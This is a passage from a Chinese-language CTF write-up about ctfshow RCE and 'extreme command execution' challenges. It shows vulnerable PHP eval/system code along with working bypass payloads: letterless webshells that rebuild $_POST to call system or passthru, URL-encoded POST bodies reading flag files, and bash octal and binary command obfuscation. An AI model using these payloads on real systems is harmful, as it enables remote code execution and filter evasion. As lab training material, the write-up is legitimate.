<\/code><\/pre>\n\n\n\n<p>\u6bd4\u4e0a\u4e00\u9053\u9898\u5c11\u8fc7\u6ee4\u4e860\u548c1\uff0c\u591a\u8fc7\u6ee4\u4e86!\u548c&#8217;\uff0c\u4f46\u8fd9\u91cc\u9650\u5236\u4e86\u6211\u4eec\u7684payload\u7684\u957f\u5ea6\u5fc5\u987b\u5c11\u4e8e105\uff0c\u6240\u4ee5\u73b0\u5728\u54b1\u4eec\u5f97\u601d\u8003\u600e\u4e48\u7f29\u77ed\u957f\u5ea6\uff0c\u73b0\u5728\u6784\u9020\u7684payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$_=((_\/_)._)&#91;0]; \/\/\u540c\u4e0a\uff0c\u53d6NAN\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcdN\n$_++; \/\/O\n$__=$_.$_++; \/\/\u8fd9\u91cc\u8fdb\u884c\u4e86++\u7684\uff0c\u6240\u4ee5$_\u7b49\u4e8eP, $__=PO\n$_++; \/\/ Q\n$_++; \/\/ R\n$_++; \/\/ S\n$_=_.$__.$_.++$_; \/\/\u8fd9\u91cc\u4e5f\u8fdb\u884c\u4e86++\u7684\uff0c\u6240\u4ee5\u6700\u540e\u4e00\u4f4d\u662fT, $_ = _POST\n$$_&#91;_]($$_&#91;1]); \/\/ $_POST&#91;_]($_POST&#91;1]);<\/code><\/pre>\n\n\n\n<p>\u5373\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$_=((_\/_)._)&#91;0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_&#91;_]($$_&#91;1]);<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230payload\u8089\u773c\u53ef\u89c1\u7684\u53d8\u77ed\u4e86\u5f88\u591a\uff0c\u957f\u5ea6\u53ea\u670980\uff0c\u53ef\u8c13\u8d85\u989d\u5b8c\u6210\u4e86\u4efb\u52a1\ud83d\ude02<\/p>\n\n\n\n<p>\u76f4\u63a5POST\u62ffflag\u7684payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&amp;_=system&amp;1=cat \/f*<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">RCE\u6311\u62184<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76Y4tacker\u4f6c\u5728\u5403\u74dc\u676f\u6295\u7a3f\u7684shellme\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    if (is_string($ctfshow) &amp;&amp; strlen($ctfshow) &lt;= 84) {\n        if (!preg_match(\"\/&#91;a-zA-Z1-9!'@#%^&amp;*:{}\\-&lt;\\?&gt;\\\"|`~\\\\\\\\]\/\",$ctfshow)){\n            eval($ctfshow);\n        }else{\n            echo(\"Are you hacking me AGAIN?\");\n        }\n    }else{\n        phpinfo();\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u53ef\u7528\u5b57\u7b26\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ( ) + , . \/ 0 ; = &#91; ] _<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u957f\u5ea6\u9650\u5236\u4e3a84\u4ee5\u4e0b\uff0c\u548c\u4e0a\u4e00\u9898\u6bd4\u4e5f\u5c31\u662f\u591a\u8fc7\u6ee4\u4e861\uff0c\u5e76\u4e14\u518d\u4e00\u6b21\u9650\u5236\u4e86payload\u957f\u5ea6\u3002\u4e0d\u8fc7\u6211\u4eec\u4e0a\u4e00\u9898\u505a\u7684\u6bd4\u8f83\u597d\uff0c\u957f\u5ea6\u4e5f\u624d80\uff0c\u628a\u90a3\u4e2a1\u6539\u62100\u8fd9\u9053\u9898\u4e5f\u80fd\u7528\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$_=((_\/_).$_)&#91;0]; \/\/\u540c\u4e0a\uff0c\u53d6NAN\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcdN\n$_++; \/\/O\n$__=$_.$_++; \/\/\u8fd9\u91cc\u8fdb\u884c\u4e86++\u7684\uff0c\u6240\u4ee5$_\u7b49\u4e8eP, $__=PO\n$_++; \/\/ Q\n$_++; \/\/ R\n$_++; \/\/ S\n$_=_.$__.$_.++$_; \/\/\u8fd9\u91cc\u4e5f\u8fdb\u884c\u4e86++\u7684\uff0c\u6240\u4ee5\u6700\u540e\u4e00\u4f4d\u662fT, $_ = _POST\n$$_&#91;_]($$_&#91;0]); \/\/ $_POST&#91;_]($_POST&#91;0]);<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5POST\u62ffflag\u7684payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&amp;_=system&amp;0=cat \/f*<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">RCE\u6311\u62185<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76Y4tacker\u4f6c\u5728\u5403\u74dc\u676f\u6295\u7a3f\u7684shellme\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    if (is_string($ctfshow) &amp;&amp; strlen($ctfshow) &lt;= 73) {\n        if (!preg_match(\"\/&#91;a-zA-Z0-9!'@#%^&amp;*:{}\\-&lt;\\?&gt;\\\"|`~\\\\\\\\]\/\",$ctfshow)){\n            eval($ctfshow);\n        }else{\n            echo(\"Are you hacking me AGAIN?\");\n        }\n    }else{\n        phpinfo();\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u53ef\u7528\u5b57\u7b26\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ( ) + , . \/ ; = &#91; ] _<\/code><\/pre>\n\n\n\n<p>\u6bd4\u4e0a\u4e00\u4e2a\u9898\u591a\u8fc7\u6ee4\u4e860\uff0c\u800c\u4e14\u957f\u5ea6\u9650\u5236\u5728\u4e8673\u4ee5\u5185\u3002\u770b\u4e86\u4e0b\u5176\u4ed6\u5e08\u5085\u7684wp\uff0c\u53d1\u73b0\u4e86\u4e9b\u795e\u5947\u64cd\u4f5c\uff0c\u9996\u5148\u5bf9\u4e8e\u53d6\u7b2c\u4e00\u4e2a\u5b57\u6bcdN\u5176\u5b9e\u6839\u672c\u4e0d\u9700\u8981\u7528[0]\uff0c\u751a\u81f3\u4e5f\u4e0d\u9700\u8981[&#8221;==&#8217;$&#8217;]\uff0c\u5176\u5b9e\u6570\u7ec4\u4e0b\u6807\u4f7f\u7528\u672a\u5b9a\u4e49\u5e38\u91cf\uff0cphp\u4f1awarning\uff0c\u4f46\u662f\u53ef\u4ee5\u7ee7\u7eed\u8fd0\u884c\uff0c\u5e76\u8fd4\u56de\u4e0b\u6807\u4e3a0\u7684\u5b57\u7b26\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-32-1024x165.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"165\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-32-1024x165.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1054\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u6b21\u8fd9\u91cc\u89c2\u5bdf\u5230phpinfo\u5b89\u88c5\u4e86\u4e00\u4e2a\u6269\u5c55gettext\uff0c\u8be5\u6269\u5c55\u652f\u6301\u51fd\u6570<code>_()<\/code> ,\u76f8\u5f53\u4e8e<code>gettext()<\/code>\uff0c\u76f4\u63a5\u8f6c\u5316\u4e3a\u5b57\u7b26\u4e32\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$_=_(_\/_)&#91;_];  \/\/\u76f8\u5f53\u4e8egettext(0\/0)&#91;0],\u5f97\u5230N<\/code><\/pre>\n\n\n\n<p>\u5176\u6b21\uff0c\u8fd9\u91cc\u5176\u5b9e\u53ef\u4ee5\u7528\u4e0d\u53ef\u89c1\u5b57\u7b26\u4ee3\u66ff\u53d8\u91cf\u540d\uff0c\u6bd4\u5982\u7528$%FA\uff0c\u51fa\u9898\u4eba\u768473\u4f4d\u9884\u671f\u89e3\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$_=_(_\/_)&#91;_];\/\/\u76f8\u5f53\u4e8egettext(0\/0)&#91;0],\u5f97\u5230N\n$_=++$_;\/\/O\n$%FA=_.++$_.$_;\/\/_PO\n$_++;$_++;\/\/R\n$%FA.=++$_.++$_;\/\/_POST\n$$_&#91;_]($$_&#91;%FA]);\/\/$_POST&#91;a]($_POST&#91;_])<\/code><\/pre>\n\n\n\n<p>72\u4f4d\u7684\u89e3\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$_=_(_._)&#91;_];\n$_++;\n$%FA=$_.$_++; \/\/\u8fd9\u91cc\u4e3aPO\n$_++;$_++;\n$_=_.$%FA.++$_.++$_;\n$$_&#91;_]($$_&#91;%FA]);<\/code><\/pre>\n\n\n\n<p>62\u4f4d\u7684\u795e\u4ed9\u89e3\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?PHP\n$_=_(%FA.%FA)&#91;_];\/\/N  \/\/\u672c\u5730\u4f7f\u7528\u5c31\u7528(_._._)&#91;_],\u6216\u8005\u5b89\u88c5\u4e86\u4e00\u4e2a\u6269\u5c55gettext\n$%FA=++$_;\/\/O\n$$%FA&#91;$%FA=_.++$_.$%FA&#91;$_++\/$_++].++$_.++$_]($$%FA&#91;_]); \/\/$_POST&#91;_POST]($_POST&#91;_])<\/code><\/pre>\n\n\n\n<p>\u4f20payload\u7684\u65f6\u5019\u8bb0\u5f97\u7528burpsuite\u522b\u76f4\u63a5\u7528hackbar\uff0c\u56e0\u4e3ahackbar\u4f1a\u628a\u4f20\u4e0a\u53bb\u7684\u4e1c\u897f\u8fdb\u884c\u4e86\u7f16\u7801\uff0c\u6211\u4eec\u7684\u4e0d\u53ef\u89c1\u5b57\u7b26\u5c31\u5224\u5b9a\u4e3a\u4e09\u4e2a\u5b57\u7b26\u4e86\u3002\u8fd9\u4e2a\u89e3\u5c5e\u4e8e\u6bd4\u8f83\u901a\u7528\u7684\uff0c\u6ca1\u7528gettext\uff0c\u611f\u89c9\u4e00\u822c\u670d\u52a1\u5668\u4e0a\u4e5f\u4e0d\u4f1a\u5f00\u90a3\u73a9\u610f\u513f\u5427\uff0c\u9047\u5230\u4e00\u822c\u7684\u65e0\u5b57\u6bcd\u6570\u5b57webshell\u9898\u8fd9\u4e2a\u89e3\u4e5f\u591f\u7528\u4e86\uff0c\u6211\u60f3\u7528\u90a3\u4e2a62\u5b57\u7b26\u7684\u6784\u9020\u901a\u7528\u89e3\u53d1\u73b0(_\/_._)[_]\u7ecf\u5e38\u62a5\u9519\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=$_=(_\/_._)&#91;_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_&#91;_]($$_&#91;%FA]);&amp;_=system&amp;%FA=cat \/f*<\/code><\/pre>\n\n\n\n<p>\u5982\u679c[]\u88abban\u4e86\u5c31\u6362{}\uff0cphp\u91cc\u8fd9\u4fe9\u53ef\u4ee5\u6df7\u7528\uff0c\u5982\u679c\u8fd9\u4e24\u4e2a\u90fd\u88abban\u4e86\u9a9a\u5e74\u8fd8\u662f\u6362\u5176\u4ed6\u65b9\u6cd5\u505a\u5427<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=$_=(_\/_._){_};$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_{_}($$_{%FA});&amp;_=passthru&amp;%FA=cat \/f*<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u6781\u9650\u547d\u4ee4\u6267\u884c<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u9650\u547d\u4ee4\u6267\u884c1<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76\u4e00\u76f4\u6ca1\u505a\u51fa\u6765\u7684\u67d0\u8d5b\u67d0\u9898\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\n\/\/flag\u5728\u6839\u76ee\u5f55flag\u91cc\uff0c\u6216\u8005\u76f4\u63a5\u8fd0\u884c\u6839\u76ee\u5f55getflag\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    if (!preg_match(\"\/&#91;b-zA-Z_@#%^&amp;*:{}\\-\\+&lt;&gt;\\\"|`;\\&#91;\\]]\/\",$ctfshow)){\n            system($ctfshow);\n        }else{\n            echo(\"????????\");\n        }\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>\u53ef\u7528\u5b57\u7b26\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> ! $ ' ( ) , . \/ 0 1 2 3 4 5 6 7 8 9 = ? \\ a ~ <\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u7528\u6570\u5b57\u548c\u5b57\u6bcda\uff0c\u6211\u4eec\u4e0d\u96be\u8054\u60f3\u5230p\u725b\u535a\u5ba2\u91cc\u63d0\u5230\u7684\u7528?\u901a\u914d\u7b26\u901a\u914d\u672a\u77e5\u5b57\u6bcd\u4ee5\u6b64\u6765\u6267\u884c\u8fd9\u4e2agetflag\uff0cpayload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=\/?????a?<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u9650\u547d\u4ee4\u6267\u884c2<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76\u4e00\u76f4\u6ca1\u505a\u51fa\u6765\u7684\u67d0\u8d5b\u67d0\u9898\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\n\/\/flag\u5728\u6839\u76ee\u5f55flag\u91cc\uff0c\u6216\u8005\u76f4\u63a5\u8fd0\u884c\u6839\u76ee\u5f55getflag\n\nerror_reporting(0);\nhighlight_file(__FILE__);\ninclude \"check.php\";\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    check($ctfshow);\n    system($ctfshow);\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>check.php\u8fc7\u6ee4\u7684\u5b57\u7b26\u672a\u77e5\uff0c\u6211\u4eec\u624b\u52a8fuzz\u4e00\u4e0b\uff0c\u53ef\u7528\u5b57\u7b26\u5c11\u4e86?\uff0c\u901a\u914d\u7b26\u8fd9\u6761\u8def\u4e0d\u884c\u4e86\uff0c\u8fd9\u91cc\u53ef\u4ee5\u7528\u53e6\u4e00\u79cd\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u7528$&#8217;\\xxx&#8217;\u7684\u65b9\u5f0f\u6267\u884c\u547d\u4ee4\uff0c\u5176\u4e2dxxx\u662fascii\u5b57\u6bcd\u76848\u8fdb\u5236\u503c\uff0c\u6bd4\u5982\u7528$&#8217;\\154\\163&#8217;\u4ee3\u66ffls\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-33.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"686\" height=\"165\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-33.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1060\"  sizes=\"auto, (max-width: 686px) 100vw, 686px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u6b64\u53ea\u8981\u7528\u516b\u8fdb\u5236\u4ee3\u66ff\u4e00\u4e0b<code>\/getflag<\/code>\u5373\u53ef\uff0cpayload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=$'\\57\\147\\145\\164\\146\\154\\141\\147'<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u9650\u547d\u4ee4\u6267\u884c3<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76\u4e00\u76f4\u6ca1\u505a\u51fa\u6765\u7684\u67d0\u8d5b\u67d0\u9898\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\n\/\/flag\u5728\u6839\u76ee\u5f55flag\u91cc\n\nerror_reporting(0);\nhighlight_file(__FILE__);\ninclude \"check.php\";\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    check($ctfshow);\n    system($ctfshow);\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u7981\u7528\u4e86\u9664\u4e86<code>01<\/code>\u4ee5\u5916\u7684\u6570\u5b57\u3002<\/p>\n\n\n\n<p>\u8865\u5145\u4e00\u4e2a\u77e5\u8bc6\uff0c\u5728linux\u91cc\u6211\u4eec\u53ef\u4ee5\u7528&#8221;\u8fdb\u5236#\u6570\u5b57&#8221;\u6765\u8868\u793a\u5341\u8fdb\u5236\u7684\u6570\u5b57\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u53ef\u4ee5\u7528&#8221;2#100&#8243;\u53ef\u4ee5\u8868\u8fbe4\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-34.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"348\" height=\"69\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-34.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1064\"  sizes=\"auto, (max-width: 348px) 100vw, 348px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u6b64\u8fd9\u91cc\u7684\u60f3\u6cd5\u4e5f\u5c31\u5f88\u660e\u663e\u4e86\uff0c\u5c31\u662f\u7528\u8fd9\u79cd\u5f62\u5f0f\u7684\u4e8c\u8fdb\u5236\u6570\u5b57\u6784\u9020\u50cf\u4e0a\u9762\u4e00\u6837\u7684\u5b57\u6bcd\u516b\u8fdb\u5236\uff0c\u56e0\u6b64ls\u5c31\u662f$(($((1&lt;&lt;1))#10011010))\u548c$(($((1&lt;&lt;1))#10100011))\uff0c\u7406\u8bba\u4e0a\u6211\u4eec\u53ef\u4ee5\u7528<code>$\\'\\\\$(($((1&lt;&lt;1))#10011010))\\\\$(($((1&lt;&lt;1))#10100011))\\'<\/code>\u6267\u884cls\u547d\u4ee4\uff0c\u4e8b\u5b9e\u5374\u662f\u4e0d\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-35.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"509\" height=\"65\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-35.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1065\"  sizes=\"auto, (max-width: 509px) 100vw, 509px\" \/><\/div><\/figure>\n\n\n\n<p>\u539f\u56e0\u662f\u8fd9\u79cd\u5957\u5a03linux\u9ed8\u8ba4\u53ea\u89e3\u6790\u4e00\u5c42\uff0c\u60f3\u8ba9\u5b83\u518d\u6b21\u628a$&#8217;\\154\\163&#8217;\u89e3\u6790\u6210ls\u6211\u4eec\u53ef\u4ee5\u7528\u4e00\u4e2abash\u8bed\u6cd5\uff1acommand [args] &lt;&lt;&lt;[&#8220;]$word[&#8220;]\uff1b\u4e5f\u5c31\u662f\u8bf4\u5728\u6211\u4eec\u7684\u547d\u4ee4\u524d\u52a0bash&lt;&lt;&lt;\u5373\u53ef\u6267\u884c\uff0c\u90a3\u4e48\u7528\u4ec0\u4e48\u8868\u793abash\u5462\u8fd9\u91cc\u53c8\u4e0d\u80fd\u7528\u5b57\u6bcd\uff0c\u770b\u6211\u53d1\u7684\u90a3\u7bc7\u65e0\u5b57\u6bcd\u6570\u5b57rce\u9ed1\u9b54\u6cd5\u5c31\u77e5\u9053\u6709\u4e2a\u795e\u5947\u7684shell\u811a\u672c\u53d8\u91cf$0\u53ef\u4ee5\u8868\u793a\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57\uff0c\u800c\u8fd9\u91cc\u4e5f\u5c31\u662fbash\uff0c\u6240\u4ee5\u6211\u4eec\u6539\u9020\u4e00\u4e0b\u6211\u4eec\u7684\u547d\u4ee4\uff0c\u53d8\u6210\uff1a<code>bash&lt;&lt;&lt;$\\'\\\\$(($((1&lt;&lt;1))#10011010))\\\\$(($((1&lt;&lt;1))#10100011))\\'<\/code> \u5373\u53ef\u6210\u529f\u6267\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-36.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"682\" height=\"166\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-36.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1066\"  sizes=\"auto, (max-width: 682px) 100vw, 682px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0d\u8fc7\u8fd9\u79cd\u6267\u884c\u65b9\u6cd5\u6709\u4e2a\u7f3a\u70b9\uff0c\u56e0\u4e3a\u4ed6\u4f1a\u628a\u6574\u4e2a\u5b57\u7b26\u4e32\u6574\u4f53\u5f53\u505a\u547d\u4ee4\u6267\u884c\uff0c\u56e0\u6b64\u5982\u679c\u6211\u4eec\u60f3\u6267\u884ccat \/flag\u5b83\u4f1a\u8ba4\u4e3a&#8221;cat \/flag&#8221;\u8fd9\u4e2a\u6574\u4f53\u662f\u4e00\u4e2a\u547d\u4ee4\uff0c\u800c\u4e0d\u662fcat\u662f\u547d\u4ee4\uff0c\/flag\u662f\u76ee\u6807\uff0c\u6700\u540e\u5bfc\u81f4\u6267\u884c\u5931\u8d25<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-37.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"693\" height=\"108\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-37.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1067\"  sizes=\"auto, (max-width: 693px) 100vw, 693px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f46\u8fd9\u6837\u8fd8\u662f\u6709\u89e3\u51b3\u9014\u5f84\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e24\u6b21here-strings\u7684\u65b9\u6cd5\u6765\u89e3\u6790\u590d\u6742\u7684\u5e26\u53c2\u6570\u547d\u4ee4<code>cat \/flag<\/code>\uff1a<\/p>\n\n\n\n<pre 